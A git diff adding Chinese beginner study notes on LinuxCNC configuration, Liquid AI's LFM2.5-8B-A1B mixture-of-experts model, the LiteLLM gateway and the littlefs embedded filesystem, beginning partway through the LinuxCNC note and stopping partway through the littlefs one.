+想象一家自动化小工厂。CAM 软件写好「今天加工什么」（G-code 程序文件）；操作员坐在 **操作面板**（AXIS、Touchy、QtDragon 等 GUI）前点按钮、看坐标、按急停。后台有个 **总调度**（EMCTASK + EMCMOT 运动控制器）按时间表指挥各轴何时加速、何时到位。真正连到电机驱动器、限位开关、主轴启停的那一堆线，不直接焊死在代码里，而是经过一间 **接线间**（HAL）——里面全是「虚拟插头」：谁输出脉冲、谁读限位、谁点亮「主轴就绪」灯，都用配置文件 **插线**，换一块 Mesa 板或并口接线不必改 C 源码。
+
+与 [[grbl]] 对比：Grbl 是烧在 Arduino 上的 **单片机固件**，主机只发串口 G-code；LinuxCNC 跑在 **完整 Linux PC** 上，算力大、可接专业运动控制卡（Mesa、EtherCAT 等），适合工坊级铣床与多轴设备。与 [[klipper]] 对比：Klipper 把「规划」放主机、「脉冲」放 MCU；LinuxCNC 传统上在 **同一台 Linux 的实时线程** 里完成规划与步进（也可接硬件运动接口 offload），配置风格是 **INI + HAL** 而非 `printer.cfg`。
+
+官方用户手册强调：LinuxCNC 已发展 **25 年以上**，GPL-2.0 许可；当前稳定文档对应 2.9 系列，GitHub 上约 2200+ stars，社区横跨全球创客与专业机修车间。
+
+## 解决什么问题
+
+在 LinuxCNC 出现之前，许多 DIY 与小型车间依赖 **Windows + 专有 CNC 软件** 或 **并口直吐脉冲**：换电脑、换系统、备份配置都痛苦，实时性受桌面系统调度影响，高级 I/O（刀库、Modbus 主轴、探针）往往要额外买闭源插件。
+
+| 痛点 | 专有 / 并口方案 | LinuxCNC 的回应 |
+| --- | --- | --- |
+| 平台锁定 | 绑定 Windows 与特定硬件 | 开源 Linux，可 Live CD 或 deb 安装 |
+| 接线与扩展 | 改线 = 改程序或不敢改 | HAL 用文本「网线」连接逻辑，组件可组合 |
+| 多轴与多机型 | 一套软件一种机床 | 同一框架支持铣、车、激光、等离子 GUI |
+| 配置可维护 | 参数散落、难版本管理 | 配置目录：`*.ini` + `*.hal` + 刀表，可 Git 管理 |
+| 安全文化 | 仅靠软件急停 | 文档强调 **硬件急停链** 不可被软件替代 |
+
+核心问题：**能否用开源栈，在普通 PC 上可靠地执行 G-code，并把「机床长什么样」完全交给可编辑配置，而不是重新编译内核？** LinuxCNC 的答案支撑了全球大量改装铣床、雕刻机与工业 retrofit。
+
+## 核心概念
+
+### 1. 四大块：GUI、HAL、运动控制、任务执行
+
+官方架构可简化为：
+
+```
+操作员 ↔ GUI（AXIS / Touchy / QtDragon …）
+              ↕
+         EMCTASK（任务：读程序、模式切换）
+              ↕
+    EMCMOT（运动：轨迹、速度规划） + EMCIO（数字 I/O）
+              ↕
+         HAL（引脚/信号/参数 虚拟接线）
+              ↕
+    并口 / Mesa / EtherCAT / 其他 Supported Hardware
+              ↕
+         步进/伺服驱动、主轴、冷却、限位
+```
+
+- **GUI**：人机界面；在 INI 里用 `DISPLAY = axis` 等选择。常见还有 GMOCCAPY、QtPlasmaC（等离子专用）、NGCGUI（子程序向导）。
+- **HAL（Hardware Abstraction Layer）**：把内部组件的 **pin（引脚）**、**signal（信号）**、**parameter（参数）** 连成网络；语法由 `halcmd` / `.hal` 文件描述。
+- **EMCMOT**：实时运动模块，处理关节空间轨迹、跟随误差等。
+- **INI 文件**：机床「身份证」——轴数、行程、步进每毫米脉冲数、GUI 类型、加载哪些 HAL 文件。
+
+典型 3 轴并口步进配置，配置向导会生成目录 `My_CNC/`，内含 `My_CNC.ini`、`My_CNC.hal`、`custom.hal`、`custom_postgui.hal`、`tool.tbl` 等（见 [User Introduction](https://linuxcnc.org/docs/html/user/user-intro.html)）。
+
+### 2. INI：机床参数表
+
+INI 按 **段（section）** 组织，方括号标名，如 `[TRAJ]`、`[AXIS_0]`、`[HAL]`。段内 `关键字 = 值`；同一配置目录下路径常相对于 INI 所在文件夹。
+
+常见段职责：
+
+| 段 | 含义 |
+| --- | --- |
+| `[EMC]` | 版本、机器名、MACHINE 类型 |
+| `[DISPLAY]` | 用哪个 GUI |
+| `[TRAJ]` | 坐标系、轴数、最大速度 |
+| `[AXIS_n]` | 每轴行程、回零、限位逻辑 |
+| `[HAL]` | 启动时执行哪些 `.hal`、是否 `TWOPASS` |
+| `[TASK]` | 任务控制器选项 |
+| `[RS-232]` / `[SPINDLE]` 等 | 串口主轴、变频器 |
+
+`[HAL]` 段可列出多个 `HALFILE`，按顺序执行；还可 `POSTGUI_HALFILE` 在 GUI 创建 HAL 引脚 **之后** 再接线（例如接 PyVCP 面板上的 LED）。
+
+### 3. HAL：软件里的配电箱
+
+HAL 核心命令（[`halcmd` / HAL Basics](https://linuxcnc.org/docs/html/hal/basic-hal.html)）：
+
+| 命令 | 作用 |
+| --- | --- |
+| `loadrt` | 加载 **实时** 组件（如 `stepgen`、`pid`） |
+| `loadusr` | 加载 **非实时** 用户空间组件（如 `halui`） |
+| `addf` | 把组件函数挂到 **线程**（`base-thread` 快、`servo-thread` 慢且支持浮点） |
+| `net` | 用 **信号** 连接多个 **引脚**（替代老式 `linksp`） |
+| `setp` | 设置未联网引脚或 **参数** 的数值 |
+| `sets` | 设置信号值（无 writer 时） |
+
+引脚方向规则：`IN` 可读；`OUT` 只能有一个 writer；`IO` 可双向但受信号上已有连接约束。并口引脚名里的 `in`/`out` 表示 **物理电气特性**，与 HAL 逻辑流向无关——读文档时要反过来理解。
+
+线程分工典型模式：
+
+- **base-thread**（周期约几十微秒）：并口读限位、发步进脉冲，**无浮点**。
+- **servo-thread**（周期约 1ms）：运动控制、PID、逻辑门组件，**有浮点**。
+
+### 4. 三种操作模式
+
+操作员视角（[User Introduction § Modes](https://linuxcnc.org/docs/html/user/user-intro.html)）：
+
+| 模式 | 行为 | 典型用途 |
+| --- | --- | --- |
+| **Manual（手动）** | 单条即时命令：点动、开冷却 | 装刀、对刀、挪工件 |
+| **Auto（自动）** | 运行整个 G-code 文件 | 批量加工 |
+| **MDI** | 输入一行 G-code 立即执行 | 对刀 `G38.2`、改坐标系 `G10` |
+
+急停、Abort、进给倍率等在多模式下行为一致。AXIS 等 GUI 会 **自动切换模式** 以完成「对刀」「回零」等复合操作。
+
+### 5. G-code 与刀表
+
+程序默认放在配置旁的 `nc_files/` 或 INI 指定目录。`tool.tbl` 记录刀号、直径、长度，供 **刀长补偿** 与换刀逻辑使用。INI 可开 `INI_VARS = 1`，让 G-code 通过 `#<_ini[section]var>` 读取配置变量——把机床参数带进程序里。
+
+### 6. 与 Grbl / Klipper 的定位
+
+| 维度 | Grbl | Klipper | LinuxCNC |
+| --- | --- | --- | --- |
+| 运行环境 | AVR MCU | Linux 主机 + MCU | Linux（实时内核/线程） |
+| 配置 | `$` 串口设置 | `printer.cfg` | INI + HAL |
+| 典型规模 | 小型雕刻机 | 3D 打印机 | 铣床、车床、等离子 |
+| 扩展 I/O | 有限 GPIO | 多 MCU、CAN | Mesa、EtherCAT、Modbus |
+
+三者都解析 G-code，但 LinuxCNC 更偏 **通用机床集成商** 路线：Wizard 生成配置、HAL 搭逻辑、多种 GUI 面向不同人机场景。
+
+## 代码示例
+
+### 示例 1：INI 片段——声明 HAL 与单轴参数
+
+下面是一个 **教学用** 的 INI 节选，展示如何指定 GUI、轨迹轴数，以及 X 轴行程与 HAL 加载顺序（字段名与官方 [INI Configuration](https://linuxcnc.org/docs/html/config/ini-config.html) 一致）：
+
+```ini
+[EMC]
+VERSION = 1.1
+MACHINE = My_Mill
+DEBUG = 0
+
+[DISPLAY]
+DISPLAY = axis
+POSITION_OFFSET = RELATIVE
+POSITION_FEEDBACK = ACTUAL
+MAX_FEED_OVERRIDE = 1.2
+MAX_SPINDLE_OVERRIDE = 1.0
+
+[TRAJ]
+COORDINATES = X Y Z
+LINEAR_UNITS = mm
+ANGULAR_UNITS = degree
+DEFAULT_LINEAR_VELOCITY = 6.0
+MAX_LINEAR_VELOCITY = 25.0
+NO_FORCE_HOMING = 1
+
+[AXIS_0]
+TYPE = LINEAR
+HOME = 0.0
+MAX_VELOCITY = 15.0
+MAX_ACCELERATION = 200.0
+MIN_LIMIT = -0.01
+MAX_LIMIT = 300.0
+
+[HAL]
+TWOPASS = ON
+HALFILE = core_stepper.hal
+HALFILE = my_mill_pinout.hal
+HALFILE = custom.hal
+POSTGUI_HALFILE = custom_postgui.hal
+```
+
+解读：`TWOPASS = ON` 让多个 `loadrt` 可先汇总再执行，避免组件重复加载顺序问题；`core_stepper.hal` 通常是通用步进逻辑，`my_mill_pinout.hal` 把 `stepgen` 接到具体并口或 Mesa 引脚。
+
+### 示例 2：HAL 片段——限位、步进与并口接线
+
+来自官方 HAL 文档风格的 **典型并口 3 轴** 接线（`net` 方向箭头仅便于人类阅读）：
+
+```hal
+# 加载并口与步进发生器（实际配置常由 Wizard 生成）
+loadrt [EMCMOT]EMCMOT base_period_nsec=50000 servo_period_nsec=1000000 num_joints=3
+loadrt stepgen step_type=0,0,0
+loadrt parport cfg="0x378 in"
+
+addf parport.0.read base-thread
+addf stepgen.make-pulses base-thread
+addf parport.0.write base-thread
+addf motion-command-handler servo-thread
+addf motion-controller servo-thread
+
+# X 轴：关节反馈 ↔ 步进发生器 ↔ 并口引脚
+net xpos-cmd joint.0.motor-pos-cmd => stepgen.0.position-cmd
+net xpos-fb stepgen.0.position-fb => joint.0.motor-pos-fb
+net xenable joint.0.amp-enable-out => stepgen.0.enable
+net xstep <= stepgen.0.step
+net xdir <= stepgen.0.dir
+net xstep => parport.0.pin-02-out
+net xdir => parport.0.pin-03-out
+
+# X 轴 home 开关：并口输入 → 关节 home 引脚
+net home-x joint.0.home-sw-in <= parport.0.pin-11-in
+
+# 逻辑门示例：两路输入都为真时点亮输出（冷却或指示灯）
+loadrt and2 count=1
+addf and2.0 servo-thread
+net flood-btn parport.0.pin-12-in => and2.0.in0
+net mist-btn  parport.0.pin-13-in => and2.0.in1
+net coolant-on parport.0.pin-14-out <= and2.0.out
+```
+
+读懂这段 HAL，就等于读懂 LinuxCNC 一半集成工作：**运动模块的 joint 引脚** 通过 **信号名** 接到 **stepgen** 和 **物理引脚**；辅助逻辑用 `and2` 等实时组件挂在 **servo-thread**。
+
+### 示例 3：MDI / 程序中的 G-code
+
+对刀与设工件坐标系在车间里极常见，可在 MDI 或 `nc_files/` 程序中使用：
+
+```gcode
+(G54 工件坐标：Z 轴探针对刀后写入偏移)
+G21          (毫米模式)
+G90          (绝对坐标)
+G38.2 Z-20 F50   (探针向下，碰到工件停止)
+G10 L20 P1 Z0    (把当前探针接触点设为 G54 的 Z0)
+G0 Z5            (抬刀到安全高度)
+M2               (程序结束)
+```
+
+`G38.2` 探针移动需 INI/HAL 中已配置探针输入引脚并接到 `motion` 的 probe 相关信号；这是 **软件配置 + 物理探针** 协同的典型场景。
+
+## 配置目录与启动
+
+安装或 Live 环境下，配置常位于：
+
+```
+/home/<user>/linuxcnc/configs/<config-name>/
+  <name>.ini          # 主配置
+  <name>.hal          # Wizard 生成的主 HAL
+  custom.hal          # 用户扩展（GUI 前加载）
+  custom_postgui.hal  # GUI 后加载（PyVCP / 面板）
+  tool.tbl            # 刀表（可选）
+  nc_files/           # G-code 示例与加工程序
+```
+
+启动方式：
+
+- 菜单 **LinuxCNC 配置选择器** 点选配置；
+- 或命令行：`linuxcnc /path/to/my_mill.ini`（`linuxcnc -h` 查看选项）。
+
+仿真配置在源码树 `configs/sim/` 下，例如 `sim/axis/vismach/` 可在 **无真实机床** 时学习 GUI 与换刀动画。
+
+## 学习路径（零基础）
+
+1. **装仿真**：用官方 Live ISO 或 deb 包，选 `sim/axis` 配置启动 AXIS，熟悉 Manual / Auto / MDI 与急停。
+2. **读 INI**：对照自己的轴行程、`MAX_VELOCITY`，理解 `[AXIS_n]` 与 `[TRAJ]`，勿在未回零时超软限位。
+3. **玩 HAL**：`halcmd show pin`、`halscope` 或 AXIS 菜单 **Machine → HAL Configuration**，观察 `joint.*`、`stepgen.*` 随点动变化。
+4. **改 `custom.hal`**：先加指示灯或 `and2` 联锁，确认能启动再动步进接线。
+5. **读 Integrator Manual**：接 Mesa、EtherCAT、Modbus 主轴时查 [Supported Hardware](https://wiki.linuxcnc.org/) 与对应 Wizard。
+6. **安全**：软件急停不能替代 **硬件切断电机电源**；文档 DISCLAIMER 明确要求符合当地机械安全规范。
+
+## 延伸阅读
+
+- 官方文档索引：<https://linuxcnc.org/docs/html/>
+- 用户入门：<https://linuxcnc.org/docs/html/user/user-intro.html>
+- HAL 基础：<https://linuxcnc.org/docs/html/hal/basic-hal.html>
+- INI 参考：<https://linuxcnc.org/docs/html/config/ini-config.html>
+- 论坛：<https://forum.linuxcnc.org/>
+- 本仓库相关笔记：[[grbl]]（轻量串口固件）、[[klipper]]（主机+MCU 3D 打印架构）、[[marlin]]（一体 MCU 打印固件）
+
+## 小结
+
+LinuxCNC 不是「又一个 G-code 播放器」，而是 **可组装的机床控制操作系统**：INI 描述机床能力与文件布局，HAL 描述电气与逻辑接线，GUI 服务不同操作场景，实时模块保证运动与 I/O 时序。零基础学习时，用 **日常类比** 抓住「调度中心 + 接线间 + 面板」，再在仿真里 **改 INI 数值、加 HAL 网线、跑 MDI 探针**，比死记命令表更快建立直觉。真正上机前，务必确认硬件急停、限位与驱动器使能链路——软件再成熟，也只是机床安全链中的一环。
diff --git a/src/content/docs/projects/liquid-ai-lfm2-moe.md b/src/content/docs/projects/liquid-ai-lfm2-moe.md
new file mode 100644
index 000000000..0fa5c098d
--- /dev/null
+++ b/src/content/docs/projects/liquid-ai-lfm2-moe.md
@@ -0,0 +1,184 @@
+---
+title: Liquid AI LFM2.5-8B-A1B — 8B 参数 / 1B 激活的 MoE 模型，在 38T Token 上训练
+来源: https://www.liquid.ai/blog/lfm2-5-8b-a1b
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# Liquid AI LFM2.5-8B-A1B 零基础学习笔记
+
+## 一句话总结
+
+Liquid AI 发布了 **LFM2.5-8B-A1B**：一个只有 8B 总参数、每次推理只激活 1B 参数的 MoE（混合专家）模型，在 38T Token 上训练，可以跑在普通笔记本甚至手机上。
+
+---
+
+## 日常类比：一个团队分工协作
+
+想象一家小型咨询公司：
+
+- **公司总共有 8 位顾问**（总参数 8B），但每个客户来咨询时，**只需要 1 位最对口的顾问**来回答（激活参数 1B）。
+- 这 8 位顾问各自擅长不同领域：有的写代码、有的做数学、有的懂法律。
+- 接案的时候，前台（模型的路由机制）判断你的问题属于哪个领域，只叫那位顾问出来。
+
+这就是 **MoE（Mixture of Experts，混合专家）** 的核心思想：模型整体很大、知识丰富，但每次推理只"激活"一小部分，所以跑得快、省资源。
+
+---
+
+## 核心概念拆解
+
+### 1. 什么是 MoE？
+
+传统大模型（Dense Model）每次推理都要把所有参数都算一遍。就像让 8 位顾问同时回答同一个问题。
+
+MoE 模型在 Transformer 的 FFN（前馈神经网络）层插入"专家门控"：
+
+```
+输入 → [门控路由器] → 选择 top-k 个专家 → 专家计算 → 加权输出
+```
+
+每次只选 1-2 个专家参与计算，所以实际消耗的算力只有总参数的一小部分。
+
+LFM2.5-8B-A1B 中：
+- **8B** = 总参数（所有专家加起来）
+- **A1B** = Active 1B = 每次推理只激活约 1B 参数
+- 推理速度比同规模的 Dense 模型快很多
+
+### 2. 为什么叫 LFM？
+
+LFM = **Liquid Foundation Model**，Liquid AI 的基础模型系列。
+
+和传统"大就是好"的思路不同，LFM 追求的是 **极致效率**：在尽可能少的参数和算力下，做到尽可能好的效果。目标是在消费级硬件（笔记本、手机）上跑私人 AI 助手。
+
+### 3. 这次相比上一代变了什么？
+
+| 改动 | 上一代 (LFM2) | 这一代 (LFM2.5) |
+|------|---------------|-----------------|
+| 上下文窗口 | 32K | **128K**（可以读更长的文档） |
+| 训练 Token | 12T | **38T**（训练量翻了 3 倍多） |
+| 词表大小 | 65K | **128K**（非拉丁语更高效） |
+| 推理模式 | 直接回答 | **思维链推理**（先思考再回答） |
+
+---
+
+## 代码示例
+
+### 示例 1：用 Python 加载和推理
+
+假设你已经从 Hugging Face 下载了模型，用 `transformers` 库推理：
+
+```python
+from transformers import AutoModelForCausalLM, AutoTokenizer
+
+# 加载模型和分词器
+model_name = "LiquidAI/LFM2.5-8B-A1B"
+tokenizer = AutoTokenizer.from_pretrained(model_name)
+model = AutoModelForCausalLM.from_pretrained(
+    model_name,
+    torch_dtype="auto",      # 自动选择精度
+    device_map="auto"        # 自动分配到 GPU/CPU
+)
+
+# 构造输入
+messages = [
+    {"role": "user", "content": "请用 Python 写一个快速排序算法"}
+]
+prompt = tokenizer.apply_chat_template(messages, tokenize=False)
+
+# 生成回答
+inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
+outputs = model.generate(**inputs, max_new_tokens=512)
+print(tokenizer.decode(outputs[0], skip_special_tokens=True))
+```
+
+关键点：这个模型总参只有 8B，即使没有 GPU，在 CPU 上也能推理（M5 Max MacBook 上达到 253 tokens/s）。
+
+### 示例 2：用 llama.cpp 在 CPU 上推理
+
+Liquid AI 第一天就支持了 `llama.cpp`，可以用 GGUF 格式在纯 CPU 上高效推理：
+
+```bash
+# 1. 下载 GGUF 量化模型（以 Q4_K_M 4bit 量化为例）
+huggingface-cli download LiquidAI/LFM2.5-8B-A1B \
+  --filename LFM2.5-8B-A1B-Q4_K_M.gguf \
+  --local-dir ./models
+
+# 2. 用 llama.cpp 的 main 程序推理
+./main \
+  -m ./models/LFM2.5-8B-A1B-Q4_K_M.gguf \
+  -p "请用中文解释什么是机器学习" \
+  -n 512 \
+  --temp 0.7
+
+# 输出示例：
+# 机器学习是一种人工智能技术，...
+# [speed: 146 tokens/sec on Ryzen AI Max+ 395]
+```
+
+或者在 Python 中用 `llama-cpp-python`：
+
+```python
+from llama_cpp import Llama
+
+# 加载 GGUF 模型（CPU 推理，内存占用约 6GB）
+llm = Llama(
+    model_path="./models/LFM2.5-8B-A1B-Q4_K_M.gguf",
+    n_ctx=128_000,     # 128K 上下文窗口
+    n_gpu_layers=0,    # 0 = 纯 CPU
+    n_threads=8
+)
+
+response = llm(
+    "解释什么是深度学习",
+    max_tokens=256,
+    temperature=0.5
+)
+print(response["choices"][0]["text"])
+```
+
+---
+
+## 关键数字速览
+
+- **AA-Omniscience Index** 从 -78.42 提升到 -24.70（提升 53.62），越接近 0 越好，衡量"答对且少幻觉"的综合得分
+- **幻觉拒绝率** 从 7.46% 飙升到 63.47% — 模型学会了"不知道就说不知道"
+- **MATH500** 数学得分：88.76（比上一代 +13.96）
+- **工具调用** BFCLv4：48.50（比上一代 +22.98）
+- H100 GPU 上：单卡最高 18.5K tokens/s，一天可处理约 16 亿 tokens
+
+---
+
+## 训练亮点（给想深入的人）
+
+### Tokenizer 扩展
+
+词表从 65K 翻倍到 128K，方法不是从头训练，而是在原有词表上**继续做 BPE merge 训练**，新增的词能被分解为原有子词的组合，所以不会破坏已有的知识。
+
+对非拉丁语的提升特别大：
+- 泰语：chars/token 从 0.671 → 2.269（**+238%**）
+- 越南语：1.519 → 3.311（**+118%**）
+-  Hindi：0.961 → 2.118（**+120%**）
+
+### "末日循环"（Doom Loops）处理
+
+长推理过程中，模型有时会陷入死循环，反复说"让我重新思考..."。Liquid AI 做了针对性优化：识别容易触发循环的 token，把概率质量重新分配给合理的替代方案。
+
+### 幻觉抑制
+
+通过 avg@k 奖励机制做 RL 训练，鼓励模型在面对超出自己知识范围的问题时**主动选择"我不知道"**，而不是瞎编。这让它的幻觉拒绝率从 7.5% 提升到了 63.5%。
+
+---
+
+## 总结
+
+LFM2.5-8B-A1B 代表了当前端侧 AI 的一个里程碑：
+
+1. **MoE 架构**让 8B 参数的模型每次推理只消耗 1B 的算力
+2. **38T Token**的训练量让它的能力远超同体积的模型
+3. **128K 上下文**让它可以处理长文档
+4. **纯 CPU 推理**在普通笔记本上就够用，不需要 GPU
+5. **原生支持** llama.cpp / MLX / vLLM / SGLang / ONNX，覆盖几乎所有硬件平台
+
+对于初学者来说，最值得记住的一个理念是：**AI 不一定需要超级计算机才能跑，聪明地设计架构比堆参数更重要。**
diff --git a/src/content/docs/projects/litellm.md b/src/content/docs/projects/litellm.md
new file mode 100644
index 000000000..464b8745b
--- /dev/null
+++ b/src/content/docs/projects/litellm.md
@@ -0,0 +1,126 @@
+---
+title: LiteLLM — 统一 AI 网关，一个接口调用 100+ LLM
+来源: https://github.com/BerriAI/litellm
+日期: 2026-06-13
+分类: 机器学习
+子分类: ai-infra
+provenance: pipeline-v3
+---
+
+# LiteLLM — 统一 AI 网关，一个接口调用 100+ LLM
+
+## 日常类比
+
+想象你要去很多地方办事：银行、邮局、医院、学校……每个地方都有自己的窗口、排队方式和表格格式。
+
+LiteLLM 就像一个「一站式政务服务中心」——你把申请表放在同一个统一的柜台上，它就帮你搞定所有地方的不同要求。你不用每个地方都跑一遍，只要在一个窗口提交一次就够了。
+
+在编程世界里，「不同的政务窗口」就是 OpenAI、Anthropic、Google Gemini、AWS Bedrock 等等。它们的 API 各不相同，每个都要学一遍。LiteLLM 让你只用一种「通用语言」（OpenAI 格式）跟所有 LLM 打交道。
+
+## 核心概念
+
+### 1. 统一 API（Unified API）
+
+所有 LLM 提供商的 API 调用方式都不一样。LiteLLM 把它们全部标准化，对外只提供 OpenAI 的格式。这意味着你写一次代码，可以调用任何支持的 LLM。
+
+支持的模型超过 100 种，包括：
+
+- OpenAI（GPT-4o 等）
+- Anthropic（Claude 系列）
+- Google（Gemini、Vertex AI）
+- AWS（Bedrock、SageMaker）
+- Azure
+- Mistral、Cohere、Groq 等
+
+### 2. 两种使用模式
+
+**模式一：Python SDK** — 直接在代码里引入 LiteLLM 库，像普通 Python 包一样用。适合个人项目或小团队。
+
+**模式二：AI Gateway / Proxy Server** — 部署一个中心化服务，团队里所有人都通过它访问 LLM。带虚拟 API Key、费用追踪、负载均衡、仪表盘等生产级功能。适合中大型组织。
+
+### 3. Router（路由）
+
+自动在多个模型部署间分配流量。某个模型超预算或出错了，自动切换到备用模型。
+
+### 4. 成本追踪
+
+每个请求都记录花了多少钱，按项目或用户统计总支出。
+
+## 代码示例
+
+### 示例一：Python SDK 直接调用多个 LLM
+
+这是最基础的用法。关键点是 `model` 参数的写法：`提供商/模型名`。
+
+```python
+from litellm import completion
+import os
+
+# 设置各提供商的 API Key
+os.environ["OPENAI_API_KEY"] = "sk-your-openai-key"
+os.environ["ANTHROPIC_API_KEY"] = "sk-ant-your-anthropic-key"
+os.environ["GEMINI_API_KEY"] = "your-gemini-key"
+
+messages = [{"role": "user", "content": "用一句话解释什么是人工智能"}]
+
+# 调用 OpenAI
+response = completion(model="openai/gpt-4o", messages=messages)
+print("GPT-4o 回答:", response.choices[0].message.content)
+
+# 调用 Anthropic（只需改 model 参数，其余完全不变）
+response = completion(model="anthropic/claude-sonnet-4-20250514", messages=messages)
+print("Claude 回答:", response.choices[0].message.content)
+
+# 调用 Google Gemini（同样只需改 model）
+response = completion(model="gemini/gemini-2.0-flash", messages=messages)
+print("Gemini 回答:", response.choices[0].message.content)
+```
+
+关键点：三个调用除了 `model` 字符串不同，其他代码完全一样。这就是「统一 API」的威力。
+
+### 示例二：启动 Proxy Server 作为中心化网关
+
+先启动服务：
+
+```bash
+pip install litellm
+export OPENAI_API_KEY=sk-your-key
+litellm --model gpt-4o --port 4000
+```
+
+然后任何支持 OpenAI 格式的客户端都能通过网关访问：
+
+```python
+import openai
+
+# 用原生 OpenAI 客户端，但指向 LiteLLM 网关
+client = openai.OpenAI(
+    api_key="any-key-here",
+    base_url="http://localhost:4000"
+)
+
+response = client.chat.completions.create(
+    model="gpt-4o",
+    messages=[{"role": "user", "content": "今天天气怎么样？"}]
+)
+
+print(response.choices[0].message.content)
+```
+
+这里 `api_key` 填什么都行，因为真正验证的是网关自己管理的虚拟 Key。
+
+## 关键总结
+
+| 概念 | 一句话 |
+|------|--------|
+| 统一 API | 一个接口调用 100+ 模型，只用 OpenAI 格式 |
+| Python SDK | 直接 `from litellm import completion` 使用 |
+| Proxy Server | 部署中心网关，团队共用，带费用追踪和仪表盘 |
+| Router | 自动在多个模型间路由和故障切换 |
+| 安装 | `pip install litellm` 或 `uv add litellm` |
+
+## 延伸阅读
+
+- 官方文档：[docs.litellm.ai](https://docs.litellm.ai/docs/simple_proxy)
+- 支持的完整模型列表：[models.litellm.ai](https://models.litellm.ai/)
+- 支持的提供商文档：[docs.litellm.ai/docs/providers](https://docs.litellm.ai/docs/providers)
diff --git a/src/content/docs/projects/littlefs.md b/src/content/docs/projects/littlefs.md
new file mode 100644
index 000000000..d307663d5
--- /dev/null
+++ b/src/content/docs/projects/littlefs.md
@@ -0,0 +1,280 @@
+---
+title: littlefs — 给 MCU 用的掉电安全小文件系统
+来源: https://github.com/littlefs-project/littlefs
+日期: 2026-06-13
+分类: 操作系统
+子分类: 嵌入式
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 日常类比：停电老楼里的「保险柜账本」
+
+你在停电频发的老楼 attic 里记流水账，存储介质是一块**只能整页撕掉重写、擦写次数有限**的 NOR Flash。
+
+| 做法 | 像什么 | 断电会怎样 |
+| --- | --- | --- |
+| 裸写 Flash 或 ad-hoc 布局 | 直接在账本原页上涂改 | 页码和内容可能对不上，整本乱码 |
+| **FatFs** 挂 SD 卡 | Windows U 盘 | PC 即插即用，但改目录项时断电可能损坏 FAT |
+| **SPIFFS** | 专业记账员 | 小 Flash 上往往更快，RAM 却随文件数涨 |
+| **littlefs** | 保险柜式账本 | 先在草稿纸写好完整一笔，再一次性换页贴进账本；最多丢当前草稿，账本停在上一完整状态 |
+
+**littlefs** 把「掉电可恢复」「Flash 磨损均衡」「RAM 有上限」写进设计目标。由 [littlefs-project](https://github.com/littlefs-project/littlefs) 维护（BSD-3-Clause），在 ESP8266/ESP32、RP2040、[[zephyr]]、Mbed 等生态里是常见选择。
+
+---
+
+## 是什么
+
+littlefs 是一个**专为微控制器（MCU）设计的嵌入式文件系统**——C99 实现、不依赖操作系统，你把它链进固件里，就能在 SPI Flash / eMMC / 片内 Flash 上像 Linux 一样 `open` / `read` / `write` 文件。
+
+和 [[sqlite]] 不同：SQLite 管**结构化表 + SQL**；littlefs 管**路径 + 字节流文件**。和 PC 上的 ext4 / NTFS 也不同：后者假设 GB 级 RAM 和内核 VFS，littlefs 假设**几十 KB RAM、没有 MMU、随时可能拔电池**。
+
+## 为什么重要
+
+不理解 littlefs，下面这些嵌入式场景很难选对栈：
+
+- 为什么 **ESP8266 / ESP32 / RP2040** 生态里常见 `mklittlefs` 烧录工具——官方/社区把 littlefs 当默认用户数据分区格式
+- 为什么 **[[zephyr]]** 的 `CONFIG_FILE_SYSTEM_LITTLEFS` 和 Mbed 的 `LittleFileSystem` 都包它——ARM 系 RTOS 需要一套可认证、可裁剪、掉电安全的 FS
+- 为什么有人弃 **SPIFFS** 转 littlefs——SPIFFS 在 NOR Flash 上静态磨损均衡很强，但 RAM 随文件数涨；littlefs 用**有界 RAM**，文件多了也不爆内存
+- 为什么 IoT 设备要强调 **OTA + 配置 JSON + 日志文件** 共存——你需要 POSIX 式目录树，而不是自己发明「第 3 扇区存 WiFi 密码」的 ad-hoc 布局
+
+一句话：**在「没有 Linux、不能起 PostgreSQL、Flash 会磨坏、随时断电」的四重约束下，littlefs 是当前最常被引用的开源答案之一。**
+
+## 核心要点
+
+littlefs 的设计可以拆成 **四层**，从下到上：
+
+### 1. 块设备抽象（Block Device）
+
+littlefs **不直接操作 Flash 芯片**，只认你提供的四个回调：
+
+| 回调 | 作用 |
+|------|------|
+| `read` | 从物理地址读字节 |
+| `prog` | 按页编程（Flash 只能从 1 写 0） |
+| `erase` | 擦除一个 erase block |
+| `sync` | 若底层有写缓存，刷到介质；无缓存可返回 0 |
+
+你在 `lfs_config` 里还要声明几何参数：`read_size`、`prog_size`、`block_size`、`block_count`。所有读写长度必须是这些粒度的整数倍——这和真实 NOR/NAND 的 page / sector 对齐一致。
+
+### 2. metadata pair（元数据对）
+
+文件系统的「目录项、文件名、大小、指向数据的指针」存在 **metadata pair** 里：两个块组成的小型 append-only log。更新元数据时**原子地**在 log 里追加新记录，旧记录作废——类似数据库 WAL 的一页。这样 rename、unlink、mkdir 在断电时不会把目录树写穿。
+
+### 3. CTZ skip-list（文件数据的 COW 树）
+
+文件内容不走原地覆盖，而是 **copy-on-write**：改文件 = 写新块 + 更新元数据指针，旧块标记可回收。结构上是一棵 CTZ（count trailing zeros）skip-list 树，追加写友好、读路径可跳跃。好处：**改 1 字节不会擦整扇区**，磨损放大比「日志型整文件重写」低。
+
+### 4. 块分配器 + 动态磨损均衡
+
+所有块由统一 allocator 分配。参数 `block_cycles` 限制**同一块在被重分配前最多经历多少次 erase**——擦得少的块优先复用，从而在**无 FTL 的裸 Flash** 上做动态 wear leveling。块若 `prog`/`erase` 失败或读回校验失败，可返回 `LFS_ERR_CORRUPT`，allocator 会绕开坏块。
+
+### 5. 有界 RAM
+
+`cache_size`、`lookahead_size` 等缓冲可在 `lfs_config` 里**静态分配**。官方承诺：RAM 用量**不随文件系统总容量增长**——1 MB 分区和 1 GB 分区用同样 config，占同样 RAM。这对 32 KB SRAM 的 STM32F0 是硬需求。
+
+### 6. POSIX 式 API，但结构体你自己分配
+
+挂载后可用 `lfs_file_open`、`lfs_dir_open`、`lfs_rename` 等。和 POSIX 的关键差别：`lfs_t`、`lfs_file_t` 由**调用方分配**（栈或静态），库内部不 `malloc`（除非你显式用默认分配器）。**文件内容在 `close` 或 `sync` 之前不一定落盘**——这和 `stdio` 缓冲类似，断电前必须 `close`。
+
+## 架构一图
+
+```
+  应用: lfs_file_write / lfs_mkdir / lfs_rename
+              │
+              ▼
+         lfs_t + lfs_config
+              │
+    ┌─────────┴─────────┐
+    ▼                   ▼
